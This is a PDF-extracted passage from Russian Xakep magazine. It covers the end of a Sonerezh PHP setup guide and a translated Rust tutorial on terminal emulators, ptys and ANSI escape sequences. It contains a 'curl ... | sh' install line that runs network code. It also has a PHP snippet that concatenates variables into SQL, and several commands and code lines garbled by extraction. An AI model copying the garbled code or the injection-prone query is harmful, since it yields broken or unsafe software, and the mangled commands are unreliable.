    $password = filter_input(INPUT_POST, 'password',
FILTER_SANITIZE_MAGIC_QUOTES);

   $crypted = _crypt($password, false);
  $sql = "insert into users values(0, "$email", "$crypted", "user", 

"", "")";
    $result = $mysqli->query($sql) or die('mysql error');

Этот код получа ет из фор мы email и пароль поль зовате ля, шиф рует пароль
с помощью фун кции  и добав ляет поль зовате ля в БД. Код фун кции

 выг лядит сле дующим обра зом:

_crypt()
_crypt()

     function _crypt($password, $salt = false) {
  global $hashCost;

             if ($salt === false || $salt === null || $salt === '') {
     $salt = _salt(22);
       $salt = vsprintf('$2a$%02d$%s', array($hashCost, $salt));
 }

   $invalidCipher = (
       strpos($salt, '$2y$') !== 0 &&
       strpos($salt, '$2x$') !== 0 &&
      strpos($salt, '$2a$') !== 0
 );
           if ($salt === true || $invalidCipher || strlen($salt) < 29) {
   trigger_error(__d(
     'cake_dev',
     'Invalid salt: %s for %s Please visit http://www.php.net/crypt 
and read the appropriate section for building %s salts.',

       array($salt, 'blowfish', 'blowfish')
    ), E_USER_WARNING);
    return '';
 }
   return crypt($password, $salt);
}

Эта фун кция исполь зует две кон стан ты и фун кцию :_salt()

  $csalt = 'q2ud6iFBWj33lWc5LE69GaytEO7eBhaBXCTcOj93';
  $hashCost = 10;

    function _salt($length = 22) {
  global $csalt;

   $salt = str_replace(
    array('+', '='),
   '.',
     base64_encode(sha1(uniqid($csalt, true), true))
 );
    return substr($salt, 0, $length);
}

Зна чение  мож но под смот реть в фай ле 
. Перемен ная  обыч но рав на 10, но ее зна чение мож- 

но переп роверить в фай ле 

.

$csalt sonerezh/app/config/
Ciphers.php $hashCost

sonerezh/app/Vendor/cakephp/cackephp/lib/
Cake/Utility/Security.php

ÐÓÑÈÔÈÊÀÖÈß SONEREZH

Язык при ложе ния зада ется в фай ле :app/Config/bootstrap.php

/**
* Default application language
*/

 Configure::write('Config.language', 'ru');

Из мени это зна чение на , затем перей ди в каталог  и соз дай
каталог , в который нуж но добавить файл . Этот файл мож но

соз дать самос тоятель но с помощью Poedit или обыч ного тек сто вого редак- 
тора. Так же его мож но . Сра зу пре дуп реждаю:
перевод непол ный и делал ся исклю читель но для себя.

ru app/Locale
ru default.po

ска чать с нашего сай та

Вро де бы все. Теперь у тебя есть собс твен ный стри минг-сер вис. Пос ле
некото рой обра бот ки «напиль ником» получит ся очень даже ничего, но знать
PHP для это го прос то необ ходимо.

mailto:dhsilabs@gmail.com
http://stats.hackmag.com/public/zip/374762/default.zip
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ТРЮКИ

Тер минал исполь зует ся как средс тво управле ния опе раци- 
онны ми сис темами на про тяже нии мно гих лет и не утра тил
акту аль ность. Сущес тву ет мно жес тво ресур сов, рас ска зыва- 
ющих о внут ренней кух не тер миналов, но мно гие из них зат- 
рагива ют тему доволь но повер хностно или углубля ются
в весь ма спе цифи чес кие области. Я пос тарал ся переки нуть
мост через этот овраг и написал вве дение в исполь зование
эму лято ра тер минала в качес тве плат формы для раз работ ки.

INFO

Это перевод статьи Ара ма Дре веке нина 
, допол ненный врез ками

от редак ции «Хакера». Перевод и текст вре зок —
.

Anatomy
of a Terminal Emulator

Юрий Язев

В статье мы погово рим о раз ных час тях тер минала и о том, как они вза имо- 
дей ству ют, напишем неболь шую про гу для чте ния вво да в коман дной стро ке
и рас смот рим, как она интер пре тиру ет коман ды. Затем мы обсу дим, как соз- 
дать поль зователь ский интерфейс в тер миналь ном при ложе нии. И в кон це
кон цов уви дим, как мож но исполь зовать все это ради шут ки.

При меры кода я при вел на язы ке Rust, в то же вре мя я буду ста рать ся
делать их как мож но про ще и короче, что бы даже нез накомо му с Rust прог- 
раммис ту было все понят но. Кро ме того, я под робно опи шу зна чимые час ти
кода. Мы рас смот рим работу эму лято ра тер минала в Linux, но с таким же
успе хом ты можешь при менить све дения в любой дру гой Unix-подоб ной сис- 
теме (нап ример, в macOS).

Ма тери ал рас счи тан на нович ков в раз работ ке тер миналь ных при ложе ний,
тем не менее я ста рал ся сде лать его полез ным и для ветера нов раз работ ки
при ложе ний коман дной стро ки.

Установка Rust
Что бы уста новить Rust в Linux или macOS, надо выпол нить в коман дной стро-
ке сле дующую коман ду:

curl   .2 --proto '=https' --tlsv1 -sSf https://sh.rustup.rs | sh 

В macOS ее выпол нение про ходит без суч ка, без задорин ки. Одна ко в Linux
могут воз никнуть раз ные проб лемы, нап ример свя зан ные с отсутс тви ем .
Если ты не хочешь тра тить вре мя на их решение, можешь уста новить Rust
из офи циаль ного репози тория сис темы. С 20-й вер сии Ubuntu сре ди ее
пакетов есть Rust. В этом слу чае в коман дной стро ке надо наб рать сле- 
дующее:

curl

apt sudo install rustc 

Cargo
Вмес те с ком пилято ром язы ка Rust уста нав лива ется сис тема сбор ки Cargo.
Ее исполь зуют, что бы управлять про екта ми, а кро ме это го, она игра ет роль
пакет ного менед жера. С ее помощью соз дают ся, объ еди няют ся, стро ятся
про екты и ска чива ются зависи мые биб лиоте ки.

Что бы соз дать про ект, набери в кон соли .cargo new HelloRust
В резуль тате будет соз дан про ект с таким содер жимым.

Со дер жимое пап ки с про ектом

Ис ходный код прог раммы HelloRust содер жится в фай ле , который,

в свою оче редь, находит ся в пап ке .

main.rs
src

Файл  содер жит метадан ные опи сания про екта:Cargo.toml

[package]
  name = "HelloRust"

  version = "0.1.0"
  edition = "2022"

[dependencies]

Кро ме того, в нем ука зыва ются биб лиоте ки, исполь зуемые для ком пиляции
прог раммы (ниже клю чево го сло ва ). Все рас смат рива емые
в статье при меры обра щают ся к либе .

[dependencies]
nix = "0.17.0"

Что бы ском пилиро вать при мер, надо выпол нить коман ду ,

находясь в пап ке с про ектом. А что бы запус тить про ект на выпол нение, нуж но
наб рать коман ду . Она не толь ко запус тит прог рамму на выпол- 
нение, но и пересо берет ее, если в исходный код будут вне сены изме нения.

cargo build

cargo run

Где писать Rust-код?
В любой удоб ной для тебя IDE, под держи вающей под свет ку син такси са. Это в
иде аль ном слу чае. Пла гины под дер жки язы ка сущес тву ют для мно гих сред,
нап ример VS Code. Но мож но вос поль зовать ся абсо лют но любым тек сто вым
редак тором. Это уже на твое усмотре ние.

Ес ли рас смат рива емая тема тебе инте рес на, напиши об этом в ком мента- 
рии. Мы подума ем над новыми стать ями, пос вящен ными это му язы ку.

ÐÀÇÍÛÅ ×ÀÑÒÈ ÒÅÐÌÈÍÀËÀ

Вре мя от вре мени эму лятор тер минала называ ют коман дной стро кой (обо- 
лоч кой) или pty (псев дотер миналом). Для начала обсу дим смыс ловую наг- 
рузку этих наз ваний и решим, в каких кон тек стах они могут исполь зовать ся.

Эму лятор тер минала име ет длин ную исто рию, но мы скон цен три руем ся
на тех вещах, которые под разуме вают ся под этим сло вом в наши дни.
Как эму лятор тер минала (gnome terminal, alacritty, rxvt-unicode), так и коман- 
дная обо лоч ка (bash, zsh, sh) пред став ляют собой при ложе ния, выпол- 
няемые под управле нием опе раци онной сис темы.

Эму лятор тер минала — это гра фичес кое при ложе ние, которое пре обра- 
зует пос тупа ющие из коман дной обо лоч ки дан ные и отоб ража ет их на экра не.
Обыч но вывод тек сто вый, но могут быть исклю чения. Их мы рас смот рим даль- 
ше.

Ко ман дная обо лоч ка (у нас рас простра нено корот кое наз вание shell) пре- 
дос тавля ет интерфейс к опе раци онной сис теме, поз воля ет поль зовате лю
вза имо дей ство вать с ее фай ловой сис темой, запус кать про цес сы, а иног- 
да — выпол нять скрип ты.

Эти две прог раммы соеди няют ся с помощью pty (pseudoterminal), который
орга низу ет дву нап равлен ный асин хрон ный канал свя зи меж ду ними. В одном
нап равле нии pty переда ет дан ные от тер минала к обо лоч ке (STDIN), во вто- 
ром — от обо лоч ки к тер миналу (STDOUT). Дру гими сло вами, ког да поль- 
зователь вво дит коман ды в тер минал, пос ледний пересы лает их через канал
STDIN псев дотер минала (pty) в обо лоч ку. С дру гой сто роны, ког да обо лоч ка
готова показать поль зовате лю резуль тат на экра не, она отправ ляет дан ные
в тер минал по каналу STDOUT псев дотер минала.

Как вид но, у pty име ются две сто роны. Мы будем называть их «пер вичная»
и «вто рич ная», хотя в офи циаль ной докумен тации они называ ются master
и slave. На пер вичной сто роне находит ся эму лятор тер минала, на вто рич- 
ной — коман дная обо лоч ка. Тем не менее на вто рич ной сто роне может рас- 
полагать ся любая прог рамма, ожи дающая под клю чения тер минала, нап- 
ример Vim или Top.

Пред лагаю взгля нуть на кар тинку, демонс три рующую, как эта сис тема
работа ет в целом, на при мере коман ды .ls

Про цесс ls получа ет от опе раци онной сис темы дан ные и переда ет их
сна чала коман дной обо лоч ке, а та, в свою оче редь, по каналу STDOUT
pty эму лято ру тер минала

ÊÀÊ ÝÌÓËßÒÎÐ ÒÅÐÌÈÍÀËÀ ÈÍÒÅÐÏÐÅÒÈÐÓÅÒ È ÎÒÎÁÐÀÆÀÅÒ

ÄÀÍÍÛÅ, ÏÎËÓ×ÅÍÍÛÅ ÈÇ ÊÎÌÀÍÄÍÎÉ ÎÁÎËÎ×ÊÈ?

Ког да коман дная обо лоч ка отправ ляет текст тер миналу, она исполь зует весь
дос тупный ей набор инс трук ций. Ты мыс лишь в пра виль ном нап равле нии,
если наз вал этот набор escape-сим волами ANSI. Они исполь зуют ся, ког да
коман дной обо лоч ке надо каким-либо обра зом фор матиро вать вывод: изме- 
нить цвет/стиль шриф та или перемес тить кур сор вво да. Что бы уви деть,
как это работа ет, давай напишем неболь шую прог рам мку на Rust, которая
соз дает псев дотер минал (pty) и на вто рич ной сто роне запус кает пре доп- 
ределен ную в кон крет ной сис теме коман дную обо лоч ку. Таким обра зом мы
смо жем уви деть, какие дан ные из недр сис темы нам шлет shell.

     fn read_from_fd(fd: RawFd) -> Option<Vec<u8>> {
   unimplemented!()
}

     fn spawn_pty_with_shell(default_shell: String) -> RawFd {
   unimplemented!()
}

  fn main() {
      let default_shell = std::env::var("SHELL")
       .expect("could not find default shell from $SHELL");
      let stdout_fd = spawn_pty_with_shell(default_shell);
       let mut read_buffer = vec![];
    loop {

         match read_from_fd(stdout_fd) {
              Some(mut read_bytes) => {

                read_buffer.append(&mut read_bytes);
           }

             None => {
                println!("{:?}", String::from_utf8(read_buffer).

unwrap());
               std::process::exit(0);
           }
       }
   }
}

WWW

Ис ходные коды при меров в статье мож но най ти
в .ре пози тории авто ра

Фун кция  начина ется с того, что мы получа ем путь к сис темной коман- 

дной обо лоч ке из перемен ной окру жения . В слу чае ошиб ки фун кция

 выводит сооб щение. Далее вызыва ется фун кция
, которой в качес тве парамет ра переда ется получен- 

ный на прош лом шаге путь к сис темной обо лоч ке. Внут ри фун кции обо лоч ка
запус кает ся в новом про цес се на вто рич ной сто роне pty. Но этот момент рас- 
смот рим ниже.

main
SHELL

expect
spawn_pty_with_shell

Фун кция  воз вра щает фай ловый дес крип тор пер- 

вичной сто роны pty STDOUT. Затем в фун кцию  (она будет рас- 

смот рена чуть поз же) в качес тве парамет ра переда ется получен ный STDOUT
(хра нимый в перемен ной ), а внут ри фун кции про исхо дит чте ние

дан ных из STDOUT. Чте ние выпол няет ся, пока дан ные не закон чатся или про- 
цесс не завер шится. Пос ле это го все получен ные дан ные выводят ся на тер- 
минал.

spawn_pty_with_shell
read_from_fd

stdout_fd

Рас смот рим фун кцию :spawn_pty_with_shell

 use nix::pty::forkpty;
 use nix::unistd::ForkResult;
 use std::os::unix::io::RawFd;
 use std::process::Command;

     fn spawn_pty_with_shell(default_shell: String) -> RawFd {
      match forkpty(None, None) {

         Ok(fork_pty_res) => {
               let stdout_fd = fork_pty_res.master; // Первичная сторона
                if let ForkResult::Child = fork_pty_res.fork_result {

               // Вторичная сторона pty
               Command::new(&default_shell)
                   .spawn()
                   .expect("failed to spawn");
               std::thread::sleep(std::time::Duration::from_millis(
2000));
               std::process::exit(0);
           }
           stdout_fd
       }

         Err(e) => {
            panic!("failed to fork {:?}", e);

       }
   }
}

За меть, в этом коде мы исполь зуем биб лиоте ку  — обер тку для вза имо- 

дей ствия с небезо пас ным кодом на C. Фун кция  из биб лиоте ки 
раз вет вля ет текущий про цесс. Выраже ние , внут ри которо го выпол няет- 

ся фун кция , све ряет резуль тат фун кции с пре доп ределен ными шаб- 

лонами и отда ет управле ние на вет ку кода с соот ветс тву ющим шаб лоном.

nix
forkpty libc

match
forkpty

Ина че говоря, выраже ния  язы ка Rust име ют ту же смыс ловую наг- 
рузку, что опе ратор  в C++. Отсю да сле дует: если  успешно

раз ветви ла про цесс и вер нула , то прог рамма про дол жает выпол нение

в двух потоках. Глав ный поток сох раня ет в перемен ную  дес крип- 
тор фай лового потока — STDOUT, а в дочер нем потоке про исхо дит запуск
дефол тной обо лоч ки, получен ной фун кци ей 

в парамет ре . Пос ле это го мы ожи даем две секун ды, что бы
коман дная стро ка заг рузилась, а затем зак рыва ем ее про цесс, то есть
выходим.

match
switch forkpty

OK
stdout_fd

spawn_pty_with_shell
default_shell

Да лее в глав ном потоке фун кция  воз вра щает дес- 
крип тор фай лового потока (STDOUT) в , что бы та переда ла его фун кции

 для чте ния дан ных из дочер него потока. Если  воз вра- 

щает ошиб ку, вызыва ется мак рос , который воз вра щает сооб щение
об ошиб ке и немед ленно завер шает при ложе ние, потому что в таком слу чае
его выпол нение бес полез но.

spawn_pty_with_shell
main

read_from_fd forkpty
panic

Рас смот рим сле дующую фун кцию — :read_from_fd

 use nix::unistd::read;

     fn read_from_fd(fd: RawFd) -> Option<Vec<u8>> {
   // https://linux.die.net/man/7/pipe
        let mut read_buffer = [0; 65536];
        let read_result = read(fd, &mut read_buffer);
     match read_result {

         Ok(bytes_read) => Some(read_buffer[..bytes_read].to_vec()),
         Err(_e) => None,

   }
}

При няв в парамет ре фай ловый дес крип тор , который был получен из фун- 

кции , мы переда ем его вмес те с изме няемым

буфером памяти раз мером 65 536 бай тов фун кции . Она чита ет ука зан- 
ный объ ем бай тов, помеща ет его в передан ный буфер и воз вра щает
количес тво про читан ных бай тов. При усло вии, что чте ние завер шилось
успешно (зна чение перемен ной  боль ше нуля), про читан ный
буфер прев раща ется в век тор. Затем этот век тор воз вра щает ся в основную
фун кцию. На моей машине вывод выг лядит так:

fd
spawn_pty_with_shell

read

read_result

 

 

help

"\u{1b}]0;fish /home/yurembo/rust_projects/spawn_and_read_from_shell\u{
7}\u{1b}[30m\u{1b}(B\u{1b}[m\u{1b}[2m⏎\u{1b}(B\u{1b}[m                            
\r⏎ \r\u{1b}[KWelcome to fish, the friendly interactive shell\r\
nType for instructions on how to use fish\r\n\u{1b}[?2004h\u{1b}]7;
file://yurembo-VirtualBox/home/yurembo/rust_projects/
spawn_and_read_from_shell\u{7}\u{1b}]0;fish /home/yurembo/rust_projects/
spawn_and_read_from_shell\u{7}\u{1b}[30m\u{1b}(B\u{1b}[m\u{1b}[
92myurembo\u{1b}(B\u{1b}[m@\u{1b}(B\u{1b}[myurembo-VirtualBox\u{1b}(B\u{
1b}[m \u{1b}[32m~/r/spawn_and_read_from_shell\u{1b}(B\u{1b}[m\u{1b}(B\u{
1b}[m> \u{1b}[K\u{1b}]0;fish /home/yurembo/rust_projects/
spawn_and_read_from_shell\u{7}\u{1b}[30m\u{1b}(B\u{1b}[m\r\u{1b}[
92myurembo\u{1b}(B\u{1b}[m@\u{1b}(B\u{1b}[myurembo-VirtualBox\u{1b}(B\u{
1b}[m \u{1b}[32m~/r/spawn_and_read_from_shell\u{1b}(B\u{1b}[m\u{1b}(B\u{
1b}[m> \u{1b}[K\r\n\u{1b}[30m\u{1b}(B\u{1b}[m"

Вы вод пер вых 65 536 бай тов пос ле запус ка дефол тной обо лоч ки

Продолжение статьи →

https://poor.dev/blog/terminal-anatomy/
https://xakep.ru/author/yurembo/
https://github.com/imsnif/terminal-anatomy-code-examples
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ТРЮКИ  НАЧАЛО СТАТЬИ←

Fish
В качес тве дефол тной коман дной обо лоч ки в моей сис теме фун кци они рует
Fish. Ее уста нов ка стан дар тна: . Теперь пос- 

мотрим, какие обо лоч ки уста нов лены у нас в сис теме: .

sudo apt-get install fish
cat /etc/shells/

Ко ман дные обо лоч ки, уста нов ленные у меня в сис теме

Тем не менее Fish не Terminator, и сде лать ее дефол тной обо лоч кой стан дар- 
тным при емом не получит ся.

В спис ке отсутс тву ет Fish

Меж ду тем мож но пой ти дру гим путем и отре дак тировать перемен ную окру- 
жения . Что бы прос мотреть, какая обо лоч ка записа на в ней в дан ный
момент, дос таточ но ввес ти коман ду . Нап ротив, что бы про писать новое

зна чение (в нашем слу чае обо лоч ку Fish), надо выпол нить коман ду: 

.

$SHELL
chsh

chsh -s
/usr/bin/fish

В моей сис теме Fish уже зна чит ся обо лоч кой по умол чанию

Unicode
В ори гиналь ной статье пред став лен вывод, сос тоящий из ANSI-сим волов.
Одна ко в нашем слу чае опе раци онная сис тема выводит текст в Unicode-сим- 
волах. Мож но пред положить, что у авто ра опе раци онка чис то англий ская,
у меня же опе раци онка локали зиро вана на рус ский. К счастью, оста лись
в прош лом рус ские ANSI-кодиров ки, которые из-за сво ей несов мести мос ти
отоб ражали докумен ты кра козяб рами. Теперь бал пра вят Unicode-кодиров ки,
которые прек расно выводят сим волы не толь ко кирил лицы, но и всех осталь- 
ных язы ков мира. На тему борь бы с кодиров ками десять лет назад я написал

. Наде юсь, будет инте рес но и поз наватель но.статью
В выводе мы можем наб людать обыч ный текст, обиль но прип равлен ный

escape-пос ледова тель нос тями Unicode. Рань ше мы обсужда ли escape-пос- 
ледова тель нос ти ANSI. Unicode-пос ледова тель нос ти отли чают ся от рас смот- 
ренных тем, что могут содер жать боль шее раз нооб разие сим волов, одна ко
такой под ход не исполь зует ся из-за необ ходимос ти обес печить сов мести- 
мость с уста рев шим аппа рат ным и прог рам мным обес печени ем. И вряд ли
ког да будет исполь зовать ся даже в новом обо рудо вании или прог рам мном
обес печении, ведь любую escape-пос ледова тель ность мож но сос тавить
из ANSI-сим волов.

Да вай пос мотрим, как эму лятор тер минала интер пре тиру ет escape-пос- 
ледова тель нос ти. Escape-сим вол  исполь зует ся для обоз начения

начала или кон ца escape-пос ледова тель нос ти. Два началь ных сим вола 

ука зыва ют на то, что дан ный сим вол отно сит ся к Unicode-сим волам. У ANSI-
сим волов такого нет.

\u{1b}
\u

Не зави симо от исполь зуемо го для вывода язы ка любой тек сту аль ный
интерфейс, который выводит ся в тер минале, работа ет оди нако вым обра зом.

Ис поль зуя коман ду , мож но выпол нить в тер минале такую инс трук- 

цию:

echo

  echo -e "I am some \033[38;5;9mred text!»

033 — вось мерич ное пред став ление escape-сим вола. Запись  пред- 

став ляет его в шес тнад цатерич ном виде. Нет рудно догадать ся, что в десятич- 
ном виде сим вол будет выг лядеть как 27.

\u{1b}

В резуль тате мы уви дим сле дующий вывод.

Крас ный текст

Те перь давай взгля нем на более слож ный при мер. Ниже показа на круп ная
escape-пос ледова тель ность, спе циаль но под готов ленная для это го при мера:

 

 

` . . `
.

[1H[J[8;20H[38;2;167;216;255m!_[B[2D|* ~- ,[B[7D| -~^ [2;51H!_[B[2D|
*~=- ,[B[7D

'` ` . ' ` . `|_,- [14;12H!_[B[2D|* --,[B[6D| - [16;34H!_[B[2D|* ~- ,[B[7D|_,-~ [14;
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18;16H|=_
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Ес ли ее пра виль но интер пре тиро вать, мы получим такое изоб ражение.

За мок

Од нако не спе ши! Если схва тить при веден ную пос ледова тель ность и скор- 
мить ее коман де  или , резуль тат не оправда ет ожи дания, ина че
говоря, пос ледова тель ность не будет интер пре тиро вана. Почему же это про- 
исхо дит?

echo cat

Де ло в том, что веб-стра ницы пло хо под ходят для отоб ражения сим волов
escape-пос ледова тель нос тей. И при копиро вании через буфер обме на мно го
цен ной информа ции теря ется. Но выход есть: ты можешь вос поль зовать ся
фай лом  из пап ки , находя щей ся сре ди при меров

к этой статье. Кло нируй или ска чай в zip-архи ве этот файл, нат рави на него
коман ду , и в тер минале отоб разит ся то, что надо.

Castle raw_castle_ansi

cat
Escape-коды ANSI исполь зуют ся во мно гих областях. Наибо лее извес тные

из них: CSI (Control Sequence Introducers — про вод ники кон троль ного ряда),
OSC (Operating System Commands — коман ды опе раци онной сис темы) и пря- 
мые escape-пос ледова тель нос ти. Опи сание их основ и выпол няемых опе- 
раций выходит за рам ки этой статьи, одна ко вни зу я оставлю ссыл ки
на матери алы, с помощью которых ты сам во всем раз берешь ся.

ÑÎÇÄÀÍÈÅ ÏÎËÜÇÎÂÀÒÅËÜÑÊÎÃÎ ÈÍÒÅÐÔÅÉÑÀ ÂÍÓÒÐÈ

ÒÅÐÌÈÍÀËÀ

Для мно гих язы ков прог рамми рова ния сущес тву ет боль шое количес тво
замеча тель ных биб лиотек поль зователь ских эле мен тов управле ния. Они поз- 
воля ют соз давать тек сту аль ные при ложе ния, выпол няемые в тер минале.
В этом раз деле мы под робно рас смот рим фун кци они рова ние таких либ.
Поэто му матери ал будет полезен, даже если ты собира ешь ся исполь зовать
либы высоко го уров ня.

Ñïåöèàëüíûé íàáîð ñèìâîëîâ

Ког да мы рас смат ривали вывод обо лоч ки Fish, то обра тили прис таль ное вни- 
мание на инс трук цию . Мы опре дели ли этот escape-сим вол как гра- 

ницу escape-пос ледова тель нос ти. Дру гими сло вами, за этим сим волом
escape-пос ледова тель нос ти обра баты вают ся по-дру гому. Сна чала тек сто вый
поток может читать ся и выводить ся как обыч ный текст, а встре тив этот
стоп-сим вол, интер пре татор будет обра баты вать сим волы осо бым обра зом,
обра зуя спе циаль ный набор сим волов. Он может исполь зовать ся, нап ример,
для рисова ния тек сту аль ных интерфей сов. Escape-сим вол  пред став- 

лен в шес тнад цатерич ном виде, и, как ска зано выше, в вось мерич ном пред- 
став лении он име ет вид 033.

\u{1b}

\u{1b}

Рас смот рим при мер. Выпол ни в тер минале сле дующую коман ду:

  echo -e "\033(0lqqqk\nx   x\nmqqqj»

Квад рат, начер ченный с помощью escape-пос ледова тель нос ти

Пос ле перек лючения на исполь зование «спе циаль ных сим волов» мы можем
рисовать фигуры пос ложнее, а во вре мя рисова ния — перек лючать вывод
обратно для отоб ражения обыч ных сим волов. Загони в тер минал такой набор
тек ста:

 

 

 

 
 

 
 

 

 

 
 
 

 

echo -en "\033(0\
lq \033(BTests \033(0qqqqqk       lq  lq \033(BAssertion error\033(0 qk\
n\
x             x       x   x                   x\n\
x             x       x   x \033(B! Should equal !\033(0  x\n\
x \033(B[ #1 Fail ]\033(0 tqqqqqqqu   x                   x\n\
l                  k      x             x       x   x \033(BLeft: 50\
033(0          x\n\
x\033(B Rerunning in 10s\033(0 tqqqqqqu   \033(B#2 Fail\033(0   x       
x   x                   x\n\
m                  j      x             x       x   x \033(BRight: 48\
033(0         x\n\
x   \033(B#3 Pass\033(0   x       x   x                   x\n\
x             x       x   x \033(B[test.rs line 25]\033(0 x\n\
x             x       x   x                   x\n\
mqqqqqqqqqqqqqj       mq  mqqqqqqqqqqqqqqqqqqqj\n»

Он интер пре тиру ется в такой вывод.

В пре дыду щем при мере мы перек люча емся с обыч ного набора сим волов
на спе циаль ный и обратно.

Ни же пред став лена таб лица спе циаль ных сим волов, которые мож но
исполь зовать в тек сту аль ном рисова нии.

SIGWINCH — îòçûâ÷èâûé ïîëüçîâàòåëüñêèé èíòåðôåéñ â

òåðìèíàëå

В пос ледние годы под вли янием все мир ной паути ны и динами чес ких
веб-стра ниц стал популя рен тер мин «отзывчи вый UI», отно сящий ся к при- 
ложе ниям, спо соб ным изме нять свой интерфейс в зависи мос ти от раз меров
окна.

Поль зовате ли кон соль ных при ложе ний тоже час то изме няют раз мер
и рас положе ние окна тер минала на рабочем сто ле, что бы отоб ражать тек сто- 
вую информа цию рядом с дру гими окон ными при ложе ниями или что бы наб- 
людать дан ные из нес коль ких тер миналов одновре мен но.

Раз рабаты вая тек сту аль ные при ложе ния, работа ющие в окне тер минала,
мы тоже можем вос поль зовать ся парадиг мой «отзывчи вого UI» и соз давать
кру той «поль зователь ский опыт», не толь ко под гоняя при ложе ния к раз меру
окна, но и отоб ражая раз ные эле мен ты в зависи мос ти от это го раз мера.

Что бы сде лать это, мы можем прос лушивать сиг нал , который

генери рует ся каж дый раз в запущен ном в дан ный момент про цес се, ког да
окно тер минала меня ет раз мер. Получив этот сиг нал, мы изме ним отоб- 
ражение эле мен тов управле ния в соот ветс твии с изме нив шимся раз мером
окна тер минала. Это демонс три рует сле дующий при мер:

SIGWINCH

 use nix::pty::Winsize;
  use signal_hook::{consts::signal::*, iterator::Signals};
 use std::io::prelude::*;

     fn get_terminal_size() -> (u16, u16) {
   // Строки и столбцы
    use libc::ioctl;
    use libc::TIOCGWINSZ;

        let mut winsize = Winsize {
        ws_row: 0,
        ws_col: 0,

        ws_xpixel: 0,
        ws_ypixel: 0,

   };

         unsafe { ioctl(1, TIOCGWINSZ, &mut winsize) };
    (winsize.ws_row, winsize.ws_col)
}

          
 

fn draw_rect(rows: u16, columns: u16, x: u16, y: u16, middle_text: &
str) {
          let top_and_bottom_edge = "q".repeat(columns as usize - 2);
          let blank_middle = " ".repeat(columns as usize - 2);
         for y_index in y..y + rows {

           if y_index == y {
           print!(
               "\u{1b}[{};{}H\u{1b}(0l{}k",

                 y_index + 1,
               x,
               top_and_bottom_edge
           );

                 } else if y_index == (y + rows) - 1 {
           print!(
               "\u{1b}[{};{}H\u{1b}(0m{}j",

                 y_index + 1,
               x,
               top_and_bottom_edge
           );

         } else {
                print!("\u{1b}[{};{}H\u{1b}(0x{}x", y_index + 1, x,

blank_middle);
       }
   }
   print!(
       "\u{1b}(B\u{1b}[{};{}H{}",

             y + rows / 2 + 1,
               x + (columns - middle_text.chars().count() as u16) / 2,

       middle_text
   );
}

       
  

fn side_by_side_ui(rows: u16, columns: u16, left_text: &str,
right_text: &str) {
      let left_rect_rows = rows;
        let left_rect_columns = columns / 2;
      let left_rect_x = 0;
      let left_rect_y = 0;

      let right_rect_rows = rows;
        let right_rect_columns = columns / 2;
          let right_rect_x = (columns / 2) + 1;
      let right_rect_y = 0;

   draw_rect(
       left_rect_rows,
       left_rect_columns,
       left_rect_x,
       left_rect_y,
       left_text,
   );
   draw_rect(
       right_rect_rows,
       right_rect_columns,
       right_rect_x,
       right_rect_y,
       right_text,
   );
}

       
  

fn top_and_bottom_ui(rows: u16, columns: u16, top_text: &str,
bottom_text: &str) {
        let top_rect_rows = rows / 2;
      let top_rect_columns = columns;
      let top_rect_x = 0;
      let top_rect_y = 0;

          let bottom_rect_rows = rows / 2 + 1;
      let bottom_rect_columns = columns;
      let bottom_rect_x = 0;
        let bottom_rect_y = rows / 2;

   draw_rect(
       top_rect_rows,
       top_rect_columns,
       top_rect_x,
       top_rect_y,
       top_text,
   );
   draw_rect(
       bottom_rect_rows,
       bottom_rect_columns,
       bottom_rect_x,
       bottom_rect_y,
       bottom_text,
   );
}

  fn draw_ui() {
    println!("\u{1b}[H\u{1b}[J"); // Очистить экран
    println!("\u{1b}[?25l"); // Скрыть курсор
      let primary_text = "Тут немного произвольного текста";
      let secondary_text = "Здесь тоже! Плюс пожимающий плечами 
смайлик: ¯\\_(ツ)_/¯";
      let min_side_width = std::cmp::max(
       primary_text.chars().count(),
       secondary_text.chars().count()
        ) as u16 + 2; // 2 для границы
       let (rows, columns) = get_terminal_size();
         if columns / 2 > min_side_width {

          side_by_side_ui(rows, columns, primary_text, secondary_text);
         } else if columns > min_side_width {

          top_and_bottom_ui(rows, columns, primary_text, secondary_text
);
     } else {
       println!("\u{1b}(Прости, терминал слишком маленький!")
   }
      let _ = std::io::stdout().flush();
}

  fn main() {
       let mut signals = Signals::new(&[
       SIGWINCH,
       SIGTERM,
       SIGINT,
       SIGQUIT,
       SIGHUP
   ]).unwrap();
   draw_ui();
       for signal in signals.forever() {

         match signal {
             SIGWINCH => {

               draw_ui();
           }

                   SIGTERM | SIGINT | SIGQUIT | SIGHUP => {
               break;
           }

             _ => unreachable!(),
       }
   }
    println!("\u{1b}[H\u{1b}[J"); // Очистить экран
    println!("\u{1b}[?25h"); // Показать курсор
}

Продолжение статьи →

https://yazevsoft.blogspot.com/2012/08/utf-16-to-utf-8-yurembo-genomegames.html


АНАТОМИЯ

ТЕРМИНАЛА
ОСВАИВАЕМ ТЕКСТУАЛЬНУЮ ГРАФИКУ

ТРЮКИ  НАЧАЛО СТАТЬИ←

Что бы пой мать нуж ный сиг нал, мы исполь зуем ящик  (ты же пом- 

нишь, что под клю чаемые либы в Rust называ ются ящи ками?). Внут ри фун кции
 раз ворачи вает ся сле дующий алго ритм:

signal-hook

main
про исхо дит пер воначаль ный вывод гра фичес ких эле мен тов с помощью
фун кции ;

•
draw_ui()

за пус кает ся цикл по всем сиг налам, пос тупа ющим в при ложе ние;•
ожи дает ся сиг нал , пос тупа ющий в момент изме нения раз мера
окна тер минала;

• SIGWINCH

пос ле его получе ния вызыва ется фун кция перери сов ки эле мен тов
управле ния — .

•
draw_ui()

Для кор рек тной перери сов ки содер жимого окна тер минала нам необ ходимо
знать его раз мер, который нам под ска жет сис темный вызов . Он выпол- 

няет ся в фун кции . Пос ледняя вызыва ется из .

ioctl
getTerminalSize() draw_ui()

За тем мы ждем пос тупле ния сиг налов , ,  и ,
которые сиг нализи руют о завер шении работы при ложе ния. Ког да обна ружи- 
вает ся один из них, цикл перебо ра сиг налов пре рыва ется. Содер жимое окна
тер минала очи щает ся, и отоб ража ется кур сор.

SIGTERM SIGINT SIGQUIT SIGHUP

В зависи мос ти от раз мера окно тер минала может иметь три раз ных
содер жания.

Сред ний раз мер

Боль шой раз мер

Ма лый раз мер

Íåîáðàáàòûâàåìûé ðåæèì

При раз работ ке при ложе ний для тер минала мы хотим более тон ко кон тро- 
лиро вать поль зователь ский ввод. По умол чанию канал вво да STDIN не поз- 
воля ет нам это го добить ся. Рас смот рим сле дующий при мер. Допус тим, при- 
ложе ние зада ет такой пря моли ней ный воп рос:

 

 
